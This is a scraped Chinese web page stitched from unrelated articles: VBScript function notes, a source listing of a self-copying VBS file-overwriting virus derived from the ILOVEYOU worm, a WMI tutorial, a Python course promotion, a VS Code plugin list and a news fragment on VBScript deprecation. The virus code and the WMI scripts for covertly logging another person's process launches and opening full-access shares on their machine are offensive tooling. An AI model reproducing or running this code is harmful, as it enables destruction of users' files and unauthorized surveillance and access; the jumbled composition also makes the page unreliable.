函數(shù):返回表示該數(shù)八進(jìn)制數(shù)值的字符串。 Replace 函數(shù):返回一字符串,其中指定的子串已被另一個(gè)子串替換了規(guī)定的次數(shù)。 RGB 函數(shù):返回代表 RGB 顏色值的數(shù)字。 Right 函數(shù):返回字符串最右邊的指定數(shù)量的字符。 Rnd 函數(shù):返回隨機(jī)數(shù)。 Round 函數(shù):返回指定位數(shù)、四舍五入的數(shù)。 RTrim 函數(shù):返回去掉尾部空格的字符串副本。 ScriptEngine 函數(shù):返回反映使用中的腳本語(yǔ)言的字符串。 ScriptEngineBuildVersion 函數(shù):返回使用中的腳本引擎的編譯版本號(hào)。 ScriptEngineMajorVersion 函數(shù):返回使用中的腳本引擎的主版本號(hào)。 ScriptEngineMinorVersion 函數(shù):返回使用中的腳本引擎的次版本號(hào)。 Second 函數(shù):返回秒數(shù),取值范圍為 0 至 59。VBS內(nèi)置函數(shù)之三Sgn 函數(shù):返回反映數(shù)的符號(hào)的整數(shù)。Sin 函數(shù):返回角度的正弦值。Space 函數(shù):返回由指定數(shù)量的空格組成的字符串。Split 函數(shù):返回下限為 0 的、由指定數(shù)量的子串組成的一維數(shù)組。Sqr 函數(shù):返回?cái)?shù)的平方根。 StrComp 函數(shù):返回反映字符串比較結(jié)果的數(shù)值。String 函數(shù):返回指定長(zhǎng)度的重復(fù)字符串。StrReverse 函數(shù):返回一字符串,其中字符的順序與指定的字符串中的順序相反。Tan 函數(shù):返回角度的正切值。Time 函數(shù):返回表示當(dāng)前系統(tǒng)時(shí)間的"日期"子類型的"變體"。Timer 函數(shù):返回時(shí)經(jīng)子夜 12:00 AM 后的秒數(shù)。TimeSerial 函數(shù):返回含有指定時(shí)分秒時(shí)間的日期子類型的變體。Timevalue 函數(shù):返回含有時(shí)間的日期子類型的變體。Trim 函數(shù):返回去掉前導(dǎo)空格或尾部空格的字符串副本。TypeName 函數(shù):返回一字符串,它提供了關(guān)于變量的變體子類型信息。UBound 函數(shù):返回指定維數(shù)數(shù)組的最大有效下標(biāo)。UCase 函數(shù):返回的字符串已經(jīng)被轉(zhuǎn)換為大寫(xiě)字母。VarType 函數(shù):返回標(biāo)識(shí)變體子類型的數(shù)值。Weekday 函數(shù):返回表示星期幾的數(shù)值。WeekdayName 函數(shù):返回表示星期幾的字符串。Year 函數(shù):返回表示年份的數(shù)值。vbs病毒的簡(jiǎn)單例子源代碼解析

          說(shuō)明:作者對(duì)某些代碼進(jìn)行了修改。該文件是一個(gè)完整的程序。該文件執(zhí)行之后,會(huì)尋找硬盤(pán)上所有滿足條件的文件,對(duì)其進(jìn)行強(qiáng)制性覆蓋(滿足條件的文件數(shù)據(jù)將全部丟失)、并再創(chuàng)建一個(gè)相同文件名但后帶.vbs的文件。因此,請(qǐng)注意設(shè)立好破壞測(cè)試條件,千萬(wàn)不要對(duì)他人進(jìn)行測(cè)試,否則,一切后果自負(fù)。

          dim folder,fso,foldername,f,d,dc 
          set fso=createobject("scripting.filesystemobject") 
          set self=fso.opentextfile(wscript.scriptfullname,1) 
          vbscopy=self.readall '讀取病毒體,以備復(fù)制到文件 
          self.close 
          set dc=fso.Drives 
          for each d in dc 
          if d.drivetype=3 or d.drivetype=2 then '檢查磁盤(pán)類型 
          wscript.echo d '彈出窗口,顯示找到盤(pán)符 
          scan(d) 
          end if 
          next 
          lsfile=wscript.scriptfullname '該腳本程序路徑 
          set lsfile=fso.getfile(lsfile) 
          lsfile.delete(true) '病毒運(yùn)行后自我刪除(本人自加,愛(ài)蟲(chóng)病毒本身沒(méi)有該代碼) 
          sub scan(folder_) 
          on error resume next 
          set folder_=fso.getfolder(folder_) 
          set files=folder_.files 
          for each file in files 
          ext=fso.GetExtensionName(file) '獲取文件后綴 
          ext=lcase(ext) '后綴名轉(zhuǎn)換成小寫(xiě)字母 
          if ext="mp5" then '如果后綴名是mp5,當(dāng)然不存在這種文件,這里可以自己修改,但是注意。請(qǐng)自己建立相應(yīng)后綴名的文件,最好是非正常后綴名 
          set ap=fso.opentextfile(file.path,2,true) 
          ' ap.write vbscopy '覆蓋文件,慎用 
          ap.close 
          set cop=fso.getfile(file.path) 
          cop.copy(file.path & ".vbs") '創(chuàng)建另外一個(gè)病毒文件 
          ' file.delete(true) '刪除原來(lái)文件 
          end if 
          next 
          set subfolders=folder_.subfolders 
          for each subfolder in subfolders '搜索其他目錄 
          scan(subfolder) 
          next 
          end sub 
          
          

          Vbs腳本編程簡(jiǎn)明教程補(bǔ)充讀物-初窺WMI

          今天,我將給大家介紹個(gè)朋友,它就是Microsoft Windows Management Instrumentation (WMI)。中文名字叫Windows管理規(guī)范。從Windows 2000開(kāi)始,WMI(Windows 管理規(guī)范)就內(nèi)置于操作系統(tǒng)中,并且成為了Windows系統(tǒng)管理的重要組成部分。所以大家很容易就能見(jiàn)到它的,因?yàn)槲覀冎辽僖矐?yīng)該是個(gè)Windows 2000的使用者了。下面我將詳細(xì)介紹它的每個(gè)細(xì)節(jié),讓你從不認(rèn)識(shí)它到喜歡上它。

          WMI能做什么?

          WMI不僅可以獲取想要的計(jì)算機(jī)數(shù)據(jù),而且還可以用于遠(yuǎn)程控制。遠(yuǎn)程控制計(jì)算機(jī)可是大家都喜歡的東西。很多遠(yuǎn)程監(jiān)視控制類軟件通常的做法是:在遠(yuǎn)程計(jì)算機(jī)上運(yùn)行服務(wù)端后臺(tái)程序,在本地計(jì)算機(jī)上運(yùn)行一個(gè)客戶器端控制程序,通過(guò)這二個(gè)程序的勾結(jié)來(lái)實(shí)現(xiàn)對(duì)計(jì)算機(jī)的遠(yuǎn)程控制。這種作法的缺點(diǎn)是十分明顯的,當(dāng)服務(wù)端程序關(guān)了,這種遠(yuǎn)程監(jiān)控就無(wú)法實(shí)現(xiàn)了,因?yàn)闆](méi)有內(nèi)線了。而WMI實(shí)現(xiàn)的遠(yuǎn)程監(jiān)視和控制完全不需要另外裝什么服務(wù)端的東西,系統(tǒng)默認(rèn)就將WMI服務(wù)給開(kāi)了。具體說(shuō)來(lái),WMI的本領(lǐng)如下:

          1.獲取本地和遠(yuǎn)程計(jì)算機(jī)的硬件軟件信息。2.監(jiān)視本地和遠(yuǎn)程計(jì)算機(jī)的軟件和服務(wù)等運(yùn)行狀況。3.控制本地和遠(yuǎn)程計(jì)算機(jī)的軟件和服務(wù)運(yùn)行。4.高級(jí)應(yīng)用。

          如何訪問(wèn)WMI?

          當(dāng)我們知道WMI的某些本領(lǐng)后,我們已經(jīng)很想知道如何認(rèn)識(shí)他并利用他了。利用WMI有許多途徑,簡(jiǎn)單說(shuō)來(lái)有三種了:

          1.通過(guò)微軟給我們提供的各種工具來(lái)實(shí)現(xiàn)普通查詢和操作。主要包括命令提示符下面的WMIC,還有就是微軟給我們提供的WMI TOOL,大家可以到微軟的網(wǎng)站上免費(fèi)下載,當(dāng)然我也可以給大家免費(fèi)提供。

          2.通過(guò)自己編寫(xiě)腳本來(lái)實(shí)現(xiàn)更靈活操作。要想真正靈活實(shí)用,對(duì)WSH腳本的熟悉是必須的,當(dāng)然如果你不熟悉也沒(méi)有關(guān)系,稍后我會(huì)給大家詳細(xì)解釋的。

          3. 通過(guò)編寫(xiě)我們自己的程序來(lái)訪問(wèn)并操作它。什么語(yǔ)言都行。如果用.NET類程序要簡(jiǎn)單些了,如果用VC等要復(fù)雜些了,起碼我是這么認(rèn)為的。

          4.還有個(gè)訪問(wèn)它的方法,就是到它的一個(gè)巢穴。在C:\WINDOWS\system32\wbem目錄中的東西都和它有密切聯(lián)系,有日志和各種工具,在里面你可以找到很多答案的。不過(guò)這些東西一般都不適合我們新手玩了,感覺(jué)有點(diǎn)嚇人。

          我們今天的任務(wù)?

          今天我們的任務(wù)有五個(gè):

          任務(wù)一:利用WMIC列出遠(yuǎn)程計(jì)算機(jī)上的所有進(jìn)程。任務(wù)二:利用WMIC關(guān)閉本地進(jìn)程。任務(wù)三:通過(guò)WMIC把遠(yuǎn)程主機(jī)的進(jìn)程信息保存在一個(gè)網(wǎng)頁(yè)中任務(wù)四:利用腳本實(shí)時(shí)監(jiān)視對(duì)方進(jìn)程任務(wù)五:利用腳本給對(duì)方開(kāi)放共享

          查看和監(jiān)視進(jìn)程,還要把進(jìn)程給殺掉,最后還要給對(duì)方開(kāi)個(gè)共享,我們這位朋友快把壞事做盡了。明白了我們的任務(wù),我們就可以上路了。這次我們將主要借助WMIC和腳本來(lái)實(shí)現(xiàn)我們的任務(wù),所以我們將主要分為兩大部分來(lái)講解。在五個(gè)任務(wù)的實(shí)戰(zhàn)中我們將更加深入地理解它,沒(méi)有基礎(chǔ)沒(méi)有關(guān)系,我將盡力去解釋所有的所謂的基礎(chǔ),讓大家能很輕松地和這位朋友交流。

          第一部分:利用WMIC來(lái)認(rèn)識(shí)WMI

          WMIC是Windows Management Instrumentation Commandline的簡(jiǎn)稱,WMIC擴(kuò)展WMI,提供了從命令行接口和批命令腳本執(zhí)行系統(tǒng)管理的支持。為WMI名稱空間提供了一個(gè)強(qiáng)大的、友好的命令行接口。有了WMIC,WMI就顯的平易近人了。

          執(zhí)行"WMIC"命令將啟動(dòng)WMIC命令行環(huán)境。第一次執(zhí)行WMIC命令時(shí),Windows首先要安裝WMIC,然后顯示出WMIC的命令行提示符。在WMIC命令行提示符上,命令將以交互的方式執(zhí)行。如果你不知道該如何和它交互,請(qǐng)敲個(gè)"/?",細(xì)細(xì)看完全部的說(shuō)明,你就知道了。WMIC也可以按照非交互的模式運(yùn)行。如果要執(zhí)行某個(gè)單步的任務(wù),或者運(yùn)行批命令中的一系列WMIC命令,非交互模式就很有用。要使用非交互模式,只要在同一個(gè)命令行上啟動(dòng)WMIC并輸入要執(zhí)行的命令就可以了。

          1.任務(wù)一:利用WMIC列出遠(yuǎn)程計(jì)算機(jī)上的所有進(jìn)程

          這是一個(gè)實(shí)現(xiàn)起來(lái)很簡(jiǎn)單的任務(wù),和你用一個(gè)DOS命令一樣簡(jiǎn)單,因?yàn)槲覀円驖u進(jìn)嘛,所以安排了這么一個(gè)熱身任務(wù)。在命令提示符下敲入下面的命令,我們將看到。

          WMIC /node:192.168.1.2 /user:net process

          解說(shuō):

          1)上面命令中的NODE和USER是全局開(kāi)關(guān)。如果你不愿意另外輸一次密碼,你也可以用PASSWORD開(kāi)關(guān),后面寫(xiě)上密碼就可以了(WMIC /node:192.168.1.2 /user:net /password:password process)。千萬(wàn)要注意,這里的用戶名和密碼都必須是管理員級(jí)別的,其它的無(wú)效。WMIC提供了大量的全局開(kāi)關(guān)、別名、動(dòng)詞、命令和豐富的命令行幫助增強(qiáng)用戶接口。全局開(kāi)關(guān)是用來(lái)配置整個(gè)WMIC會(huì)話的選項(xiàng)。

          2)Process是個(gè)別名,執(zhí)行了一個(gè)Win32_process類的WQL查詢,至于說(shuō)是WMI的類是什么東西,感興趣的就自己找資料多多了解,如果你很懶的話,就等我有時(shí)間給你開(kāi)課講解。別名是用戶和WMI名稱空間一個(gè)簡(jiǎn)化語(yǔ)法的中間層。當(dāng)你指定一個(gè)別名時(shí),動(dòng)詞(Verb)表示要執(zhí)行的動(dòng)作。

          3)如果你愿意,你可以在該后面加上個(gè)動(dòng)詞等,比如 LIST FULL等(如:WMIC /node:192.168.1.2 /user:net /password:password process),這樣你就看得更清楚了。

          小提示:安裝了WMIC的機(jī)器可以連接到任何一臺(tái)安裝了WMI的機(jī)器,被連接的機(jī)器不需要安裝WMIC。

          2.任務(wù)二:利用WMIC關(guān)閉本地進(jìn)程

          執(zhí)行下面的命令將關(guān)閉正在運(yùn)行的QQ。我比較膽小,所以不敢關(guān)別人的QQ,只能拿我的QQ試驗(yàn)了,如果你的智商還夠用的話,膽子比較大的話,你很快就會(huì)去關(guān)別人的了。

          WMIC

          process where name="qq.exe" call terminate

          解說(shuō):

          1)這次我們是用交互式的方法來(lái)執(zhí)行任務(wù),具體界面我就不多說(shuō)了,圖上畫(huà)的比我說(shuō)的好多了。

          2)Call也是個(gè)動(dòng)詞,這個(gè)動(dòng)詞可是厲害了,控制類的沒(méi)有不用它的,它就是可以調(diào)用各種類的各種方法的大將。這里我們調(diào)用了terminate方法。從字面上你就可以看出是惡狠狠的。

          3)Where能夠讓你查詢和篩選。在超級(jí)多的實(shí)例中找到你想要的。實(shí)例就是指每個(gè)類的具體實(shí)現(xiàn)了。前面的例子中看到的各個(gè)進(jìn)程都分別算是WIN32_PROCESS中的一個(gè)實(shí)例。

          3.任務(wù)三:通過(guò)WMIC把遠(yuǎn)程主機(jī)的進(jìn)程信息保存在一個(gè)網(wǎng)頁(yè)中

          這個(gè)任務(wù)和任務(wù)一中的大致相同,是任務(wù)一的加強(qiáng)。在任務(wù)一中信息以文本的形式顯示出來(lái)了。其實(shí)除了文本形式的輸出之外,WMIC還能夠以其他形式返回命令執(zhí)行結(jié)果,例如XML、HTML或者CSV(逗號(hào)分隔的文本文件),如圖3所示。我們可以敲入下面的命令:

          wmic /output:C:.html /node:192.168.1.2 /user:net process list full /format:hform.xsl

          輸入密碼 :******

          解釋:

          1)全局開(kāi)關(guān)OUTPUT指明將這些信息保存在什么地方。

          2)全局開(kāi)關(guān)FORMAT指明了用什么樣的格式,至于說(shuō)有那些格式可以用,你可以參看C:\WINDOWS\system32\wbem目錄中的*.xsl文件,你甚至不用管它們從哪里來(lái)的,用就是了。挨著看看,一定可以找到你喜歡的。

          第二部分:利用腳本來(lái)認(rèn)識(shí)WMI

          命令提示符的工具確實(shí)好用,但是卻顯示不出我們是高手,高手都是能利用程序來(lái)實(shí)現(xiàn)目的的。下面我們就開(kāi)始用腳本來(lái)實(shí)現(xiàn)我們的任務(wù),功能將更加強(qiáng)大,操作將更加靈活。

          無(wú)論腳本還是真正意義上的程序,要檢索 WMI 托管資源信息進(jìn)而查詢并利用WMI,都需要遵循以下三個(gè)步驟的。

          1.連接到 WMI 服務(wù)。建立一個(gè)到目標(biāo)計(jì)算機(jī)上的 Windows 管理服務(wù)的連接。2.檢索 WMI 托管資源的實(shí)例。主要取決于要執(zhí)行的任務(wù)。3.顯示W(wǎng)MI 某實(shí)例屬性和調(diào)用其方法。

          1.任務(wù)四:利用腳本實(shí)時(shí)監(jiān)視對(duì)方進(jìn)程

          在任務(wù)一和任務(wù)三中我們都是在查看對(duì)方的進(jìn)程,出來(lái)的結(jié)果對(duì)我們意義不是很大,在這個(gè)任務(wù)中我們要從現(xiàn)在開(kāi)始每當(dāng)他開(kāi)一個(gè)任務(wù)我們就察覺(jué)到,并把它記錄下來(lái)。我們要在他開(kāi)進(jìn)程的那一秒開(kāi)始報(bào)告并記錄,我們要清楚他所開(kāi)的程序所在的位置,我們要比他更清楚地知道這些信息。

          現(xiàn)在我們就按照前面提到的三個(gè)步驟來(lái)實(shí)現(xiàn)任務(wù)。

          首先,我們連接到對(duì)方的WMI。在這里我們首先調(diào)用 VBScript 的中的Createobject()來(lái)得到一個(gè)對(duì)象,然后利用這個(gè)特殊的對(duì)象的方法來(lái)連接到遠(yuǎn)程的計(jì)算機(jī)上。這個(gè)特殊的對(duì)象就是wbemscripting.swbemlocator。

          set olct=createobject("wbemscripting.swbemlocator")set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)

          注意其中的strComputer就是你所要連接的計(jì)算機(jī)的名稱或者IP地址,strUser,strPwd當(dāng)然就是用戶名和密碼了,我們說(shuō)過(guò)這個(gè)用戶必須是具有管理員權(quán)限的才可以。root\cimv2是WMI的命名空間,關(guān)于WMI的命名空間,大家可以到"計(jì)算機(jī)管理\WMI控件"中看到,這里面的學(xué)問(wèn)就大了,得慢慢琢磨,為了我們的任務(wù)快速實(shí)現(xiàn),我就不多解釋了。用這種方法連接到WMI,返回一個(gè)對(duì)SWbemServices對(duì)象的引用,一旦有一個(gè)對(duì) SWbemServices對(duì)象的引用。我們就可以進(jìn)行第二個(gè)步驟了。

          在第二個(gè)步驟中,我們將得到WMI 托管資源的實(shí)例,我們利用WbemServices中的一個(gè)方法ExecNotificationQuery可以查詢我們所要的類,進(jìn)而可以得到該類中實(shí)例。

          Set colMonitoredProcesses = wbemServices. _ ExecNotificationQuery("select * from __instancecreationevent " _ & " within 1 where TargetInstance isa 'Win32_Process'")

          注意這里有個(gè)類似于SQL語(yǔ)言的查詢語(yǔ)言,這里叫做WQL語(yǔ)言,懂SQL的一看就明白了,不懂的就在網(wǎng)上找找它的資料,滿天都是。得到的colMonitoredProcesses是所查詢的類的實(shí)例的集合。有了這些我們的第三個(gè)步驟就可以開(kāi)始了。

          在第三個(gè)步驟中,我們將顯示出得到的實(shí)例中的屬性。剛才我們得到的是實(shí)例的集合,在這里我們通過(guò)colMonitoredProcesses.NextEvent來(lái)獲取每一個(gè)具體的實(shí)例,得到每一個(gè)具體的實(shí)例后,我們就可以顯示出他們的屬性,也就是我們想看的東西了。這里我們顯示了CommandLine的屬性值。

          到現(xiàn)在你是否有些迷惑了,因?yàn)槟氵€不知道到底WMI里面有那些類,具體類又有哪些屬性,呵呵,沒(méi)有關(guān)系的,用一些工具可以很輕松的得到這些信息。比如系統(tǒng)自帶的wbemtest,在運(yùn)行中敲入這個(gè)程序名,你就可以看到這些了,它也遵循連接、查詢、枚舉這三個(gè)步驟。自己慢慢玩吧,很快你就會(huì)發(fā)現(xiàn)WMI太大了,單是命名空間就有10多個(gè),然后單是我們常用的空間root\CIMV2里面就有近1000個(gè)類,每個(gè)類里面又有好多的屬性,有些類還有好多方法。哈哈,頭暈了吧?沒(méi)關(guān)系,其實(shí)你只需要知道其中的一些就好了。

          看到這些估計(jì)你的頭已經(jīng)很大了,但是恭喜你,我們的這個(gè)任務(wù)已經(jīng)完成了,是的,就是這么簡(jiǎn)單,下面我將完整代碼奉獻(xiàn)出來(lái)。

          Set colArgs = WScript.Arguments
          If WScript.arguments.count < 3 then
          WScript.Echo "USAGE:" & vbCrLf & " Monitor Computer User Password files"
          WScript.quit
          End If
          strComputer = wscript.arguments(0)
          strUser = wscript.arguments(1)
          strPwd = wscript.arguments(2)
          strFile = wscript.arguments(3)
          set olct=createobject("wbemscripting.swbemlocator")
          set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
          Set colMonitoredProcesses = wbemServices. _ 
          ExecNotificationQuery("select * from __instancecreationevent " _ 
          & " within 1 where TargetInstance isa 'Win32_Process'")
          i = 0
          Do While i = 0
          Set objLatestProcess = colMonitoredProcesses.NextEvent
          Wscript.Echo now & " " & objLatestProcess.TargetInstance.CommandLine
          Set objFS = CreateObject("Scripting.FileSystemObject")
          Set objNewFile = objFS.OpenTextFile(strFile,8,true)
          objNewFile.WriteLine Now() & " " & objLatestProcess.TargetInstance.CommandLine
          objNewFile.Close
          Loop
          
          

          到這個(gè)程序的核心了吧?相信你已經(jīng)懂了其中的很多,剩余的部分代碼我稍后解釋。我們先來(lái)感性認(rèn)識(shí)一下,先看它該怎么用吧!把上面的代碼拷貝到記事本中,然后保存為monitor.vbs的文件,然后在命令提示符下輸入:

          CSCRIPT monitor.vbs

          回車(chē),你就會(huì)看到幫助,下面舉例說(shuō)明這個(gè)腳本的具體用法:

          CSCRIPT monitor.vbs 192.168.1.2 user password C:.txt

          在命令提示符下敲入上面的命令就OK了,每當(dāng)對(duì)方開(kāi)一個(gè)程序的時(shí)候,你就可以看到時(shí)間,程序路徑和程序名。如果你沒(méi)有時(shí)間去看這些信息,你還可以等有時(shí)間的時(shí)候到C:.txt看到這些信息。

          小知識(shí):

          每次使用腳本,都必須敲入CSCRIPT和腳本的后綴名,很麻煩。這是因?yàn)橄到y(tǒng)默認(rèn)的執(zhí)行引擎是WSCRIPT,可以將它改成CSCRIPT。另外一個(gè)讓人不爽的是腳本執(zhí)行后總要顯示微軟的說(shuō)明,好像腳本不是我們寫(xiě)的一樣。不過(guò)你可以通過(guò)在命令提示符下敲入下面的命令來(lái)解決這個(gè)問(wèn)題:

          cscript //nologo //h:cscript //s

          這樣你以后再運(yùn)行這些腳本的時(shí)候就不用在敲入CSCRIPT了,也不用在寫(xiě)入.vbs的后綴名了,就上面的例子來(lái)說(shuō),你可以這樣用:

          monitor 192.168.1.2 user password C:.txt

          解釋:

          1)前面的那幾行,大概就是為了顯示幫助和處理我們?cè)诤竺孑斎氲膮?shù)。應(yīng)用到了WScript.Arguments這個(gè)對(duì)象,利用它我們可以來(lái)獲取并處理腳本的參數(shù)。

          2)那個(gè)死循環(huán)是為了讓我們一直監(jiān)視他(她),每當(dāng)他開(kāi)一個(gè)程序,我們就得到一個(gè)新的實(shí)例,我們就可以知道他更多的信息,哈哈,夠狠吧。這樣你也就知道了,當(dāng)我們這個(gè)腳本運(yùn)行后,只有通過(guò)我們?nèi)藶橹兄共拍苤袛啾O(jiān)視,人為中止的方法大家可以用CTRL+C來(lái)完成,也可以用各種野蠻的方法來(lái)中止。

          3)在代碼中出現(xiàn)的另外一個(gè)核心對(duì)象就是FileSystemObject,應(yīng)該是大家的老朋友了吧,我這里就不再做解釋了,我們?cè)谶@里應(yīng)用它主要是為了將結(jié)果同時(shí)保存到一個(gè)文件中,我們利用它來(lái)創(chuàng)建或打開(kāi)一個(gè)文件,將信息追加進(jìn)去。

          4)至于那個(gè)NOW,雖然體積很小,但是卻正是它給我們提供了時(shí)間這個(gè)重要的信息。

          5)如果你想要監(jiān)視的是自己的計(jì)算機(jī)而不是遠(yuǎn)程的計(jì)算機(jī)(據(jù)我所知,這個(gè)應(yīng)用還是很廣的)。那么請(qǐng)將計(jì)算機(jī)名的參數(shù)寫(xiě)為一個(gè)小點(diǎn),用戶名和密碼留為空。如下所示:

          monitor . "" "" C:.txt

          2.任務(wù)五:利用腳本給對(duì)方開(kāi)放共享

          有了任務(wù)四的基礎(chǔ),這次我們就先看代碼吧:

          Set colArgs = WScript.Arguments
          If WScript.arguments.count < 5 then
          WScript.Echo "USAGE:" & vbCrLf & " Rshare Computer User Password SharePath ShareName"
          WScript.quit
          End If
          strComputer = wscript.arguments(0)
          strUser = wscript.arguments(1)
          strPwd = wscript.arguments(2)
          strPath = wscript.arguments(3)
          strShareName = wscript.arguments(4)
          intMaximumAllowed = 1
          strDescription = "Temporary share"
          Const SHARED_FOLDER = 0
          set olct=createobject("wbemscripting.swbemlocator")
          set wbemServices=olct.connectserver(strComputer,"root\cimv2",strUser,strPwd)
          Set objSWbemObject = wbemServices.Get("Win32_Share")
          intReturnvalue = objSWbemObject.Create(strPath, _
          strShareName, _
          SHARED_FOLDER, _
          intMaximumAllowed, _
          strDescription)
          if(intReturnvalue = 0) Then
          WScript.Echo "The share have been created successfully"
          End If
          
          

          解說(shuō):

          1)我們可以看出來(lái)前面的那幾行是為顯示幫助和處理輸入?yún)?shù)而存在的。

          2)緊接著設(shè)置了幾個(gè)變量,為以后做參數(shù)用的。這里我們可以先不理會(huì)它。

          3)連接到主機(jī)的WMI,然后就是查詢。前面已經(jīng)說(shuō)的很詳細(xì)了。

          4)這次得到實(shí)例集后,我們用了它的一個(gè)方法,也就是這個(gè)方法讓共享成為了可能,聯(lián)系到第二部分的內(nèi)容,我們不難知道第一個(gè)參數(shù)表示要共享的路徑和文件名,第二個(gè)參數(shù)表示共享名,第三個(gè)參數(shù)為0就可以了,第四個(gè)參數(shù)是指可以連接的人數(shù),第五個(gè)參數(shù)是共享描述了,而我們只關(guān)心前面的兩個(gè)參數(shù)。如果手頭有MSDN那就好辦了,到MSDN中可以查到該方法的更詳細(xì)的內(nèi)容。

          5)這次我們根據(jù)第四步的返回值來(lái)得到共享是否成功,并給出提示。不同的返回值代表不同的意義。這個(gè)信息在MSDN中可以很清楚地查到。比如0代表成功返回,2代表拒絕訪問(wèn),9代表用戶名錯(cuò)誤,25代表主機(jī)名沒(méi)有找到等等。

          6)這次我們要注意的是,用這個(gè)腳本來(lái)實(shí)現(xiàn)遠(yuǎn)程文件共享,要求遠(yuǎn)程存在這個(gè)文件,否則無(wú)法共享。當(dāng)然你也可以利用教本創(chuàng)建自己的文件夾,很容易的,自己創(chuàng)建吧。

          7)如上腳本創(chuàng)建后的共享是完全共享。就是可以刪除修改文件的。

          8)用法舉例:share netp net swswsw C:\dodo marsh

          好了,到現(xiàn)在為止,大家應(yīng)該對(duì)這位朋友有些了解了,我的介紹任務(wù)也就告一段落了,如果大家想進(jìn)一步認(rèn)識(shí)它,那就主要靠大家的主動(dòng)性了。這次我們主要通過(guò)WMIC和腳本來(lái)認(rèn)識(shí)它,下次我將帶領(lǐng)大家通過(guò)真正的程序代碼來(lái)認(rèn)識(shí)它,讓它也有個(gè)象Windows一樣漂亮的臉蛋。今天我所提到的估計(jì)只能算是WMI的萬(wàn)分之一,都算不上是冰山一角。剩余的要靠自己來(lái)發(fā)揮了。如果你肯利用你的所學(xué),那么奇跡就會(huì)產(chǎn)生。

          當(dāng)然如果想學(xué)好vbs就要查看一些資料:

          這里推薦兩個(gè)介紹基礎(chǔ)函數(shù)的地址,然后大家可以多看下別人的代碼,多練習(xí),多寫(xiě)。

          最后,小編想說(shuō):我是一名python開(kāi)發(fā)工程師,

          整理了一套最新的python系統(tǒng)學(xué)習(xí)教程,

          想要這些資料的可以關(guān)注私信小編“01”即可(免費(fèi)分享哦)希望能對(duì)你有所幫助

          常安利

          在前端開(kāi)發(fā)中,有一個(gè)非常好用的工具,Visual Studio Code,簡(jiǎn)稱VS code。

          都不用我安利VS code,大家就會(huì)乖乖的去用,就算你不用,我也要強(qiáng)勢(shì)安利

          我是來(lái)給大家安利插件的,想做個(gè)比較全面的插件集合給大家。我結(jié)合最近的情況,總結(jié)一下,也單獨(dú)寫(xiě)介紹適合Python新手學(xué)習(xí)的插件,讓你事半功倍。

          比心?。

          強(qiáng)大特點(diǎn)

          VS vode特點(diǎn):

          1. 開(kāi)源,免費(fèi)
          2. 自定義配置
          3. 集成git
          4. 智能提示強(qiáng)大
          5. 支持各種文件格式(html/jade/css/less/sass/xml/py/c/c++/vbs)
          6. 調(diào)試功能強(qiáng)大
          7. 各種方便的快捷鍵
          8. 強(qiáng)大的插件擴(kuò)展
          9. 絲滑如某芙,順暢

          安裝插件

          在鼠標(biāo)停止的地方就是插件頁(yè)面,可以在這里選擇和搜索插件,這種方法較為簡(jiǎn)單,當(dāng)然也有其他方法

          命令行

          按F1或Ctrl+Shift+p,輸入extensions,點(diǎn)擊第一個(gè)就可以

          點(diǎn)擊即可

          ctrl + P 然后輸入 >ext install

          好用的插件

          1.Settings Sync

          最好用的插件,沒(méi)有之一,一臺(tái)電腦配置好之后,其它的幾臺(tái)電腦都不用配置。新機(jī)器登錄一下就搞定了。再也不用折騰環(huán)境了。

          使用GitHub Gist同步多臺(tái)計(jì)算機(jī)上的設(shè)置,代碼段,主題,文件圖標(biāo),啟動(dòng),鍵綁定,工作區(qū)和擴(kuò)展。

          2.Debugger for Chrome

          3.beautify

          格式化代碼工具

          美化javascript,JSON,CSS,Sass,和HTML在Visual Studio代碼。

          4.vscode-icons

          更改顯示Visual Studio代碼的圖標(biāo),目前該插件已被vscode內(nèi)部支持:"文件" -> "首選項(xiàng)" -> "文件圖標(biāo)主題"

          5.Atuo Rename Tag

          修改 html 標(biāo)簽,自動(dòng)幫你完成頭部和尾部閉合標(biāo)簽的同步修改。

          6.Path Intellisense

          自動(dòng)填充文件名。不用手動(dòng)碼文件名了(哭暈在廁所)

          主題推薦

          一個(gè)非常適合夜貓子的 VS Code 主題。像是為喜歡深夜編碼的人精心設(shè)計(jì)的。

          1.Night Owl

          2.Atom One Dark Theme

          Python插件

          OK,進(jìn)入正題,現(xiàn)在來(lái)推薦一下VScod中的Python插件,插件安裝好的話,會(huì)為你的學(xué)習(xí)帶來(lái)不少的幫助哦

          中文語(yǔ)言包

          Chinese (Simplified) Language Pack for Visual Studio Code

          這樣子在使用vscod的時(shí)候就不會(huì)因?yàn)橛⒄Z(yǔ)不好而導(dǎo)致出問(wèn)題啦,非常適合新手

          Python支持

          打開(kāi)擴(kuò)展搜索Python,可以直接下載啦,記得下載第一個(gè)微軟官方的哦。

          代碼自動(dòng)補(bǔ)齊和提示

          Visual Studio IntelliCode

          括號(hào)顏色提示

          Bracket Pair Colorizer

          每一對(duì)括號(hào)都有自己的顏色(單身狗的生氣)

          結(jié)尾

          插件的介紹就到這里,各位初學(xué)者不能過(guò)渡依賴插件哦,要認(rèn)真學(xué)習(xí)哦。

          如果有其他大佬安利插件,歡迎在下方評(píng)論區(qū)留言哦。

          本文作者:Whitezero,未經(jīng)授權(quán),禁止轉(zhuǎn)載

          理 | 屠敏
          出品 | CSDN(ID:CSDNnews)

          去年 10 月,微軟提前在“Windows 客戶端已棄用功能”列表中預(yù)告了一名新成員——VBScript 的存在,讓眾人做好棄用這門(mén)語(yǔ)言的準(zhǔn)備。

          時(shí)光飛逝,近日,微軟正式發(fā)布了一篇長(zhǎng)文公告,分享了關(guān)于《棄用 VBScript:時(shí)間表和后續(xù)步驟》的最新動(dòng)態(tài),宣布 VBScript 的淘汰會(huì)分為「三步走」:一是最初會(huì)將 VBScript 作為 Windows 操作系統(tǒng)中的一項(xiàng)可選功能,默認(rèn)開(kāi)啟;二是取消默認(rèn)開(kāi)啟;三是計(jì)劃在 2027 年之后完全將該功能從 Windows 上移除。

          毋庸置疑,此舉不僅意味著棄用 VBScript 已經(jīng)成為板上釘釘?shù)氖虑椋瑫r(shí)也標(biāo)志著一個(gè)時(shí)代的終結(jié)。


          VBScript 的 28 年

          回看過(guò)往,VBScript(Visual Basic Scripting Edition)是微軟在 1996 年首次推出的一種輕量級(jí)腳本語(yǔ)言。

          在早期的互聯(lián)網(wǎng)時(shí)代,VBScript 被用來(lái)為網(wǎng)頁(yè)添加客戶端交互功能,類似于JavaScript。通常它被嵌入在 HTML 頁(yè)面中,并與 ASP 和 WSH(Windows Script Host)等技術(shù)結(jié)合使用。

